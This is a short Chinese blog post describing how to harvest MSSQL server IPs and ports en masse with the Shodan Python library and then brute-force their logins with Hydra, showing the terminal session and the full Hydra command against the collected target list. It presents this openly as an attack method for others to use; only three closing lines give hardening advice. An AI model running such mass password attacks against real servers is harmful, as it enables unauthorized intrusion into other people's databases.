拜读了xiaix关于Shodan的全面介绍:《Shodan新手入坑指南》,受益匪浅。SQL Server的弱口令入侵案例层出不穷,利用工具也大量存在,本文以MSSQL服务器为切入点,以解决批量目标发现为目标,介绍了一种基于Shodan Python库的攻击方法。希望能给有类似需求的同学提供参考。
首先利用Shodan的Python库获取并实时处理MSSQL服务器IP及1434端口Banner,得到IP和MSSQL连接端口的组合列表;然后利用Hydra进行字典口令攻击。
SQL Server服务使用两个端口:TCP-1433、UDP-1434。其中1433用于供SQL Server对外提供服务,1434用于向请求者返回SQL Server使用了哪个TCP/IP端口。 —— 百度百科-1433端口
实现过程详见脚本中的注释
root@kali2:~/app/mssqlnew# uname -aLinux kali2 4.0.0-kali1-686-pae #1 SMP Debian 4.0.4-1+kali2 (2015-06-03) i686 GNU/Linuxroot@kali2:~/app/mssqlnew# python -VPython 2.7.9
root@kali2:~/app/mssqlnew# python MSSQL.py 1 10
page1to10_src.txt
page1to10_ip.txt
攻击耗时及成功率与用户、口令字典有紧密关系,网络带宽也影响速度。
root@kali2:~/app/mssqlnew# hydra -L sqluser.dic -P sqlpass.dic -t 30 -M page1to10_ip.txt mssql
设置MSSQL仅限本地连接
修改MSSQL的默认连接端口
分级配置各类数据库用户权限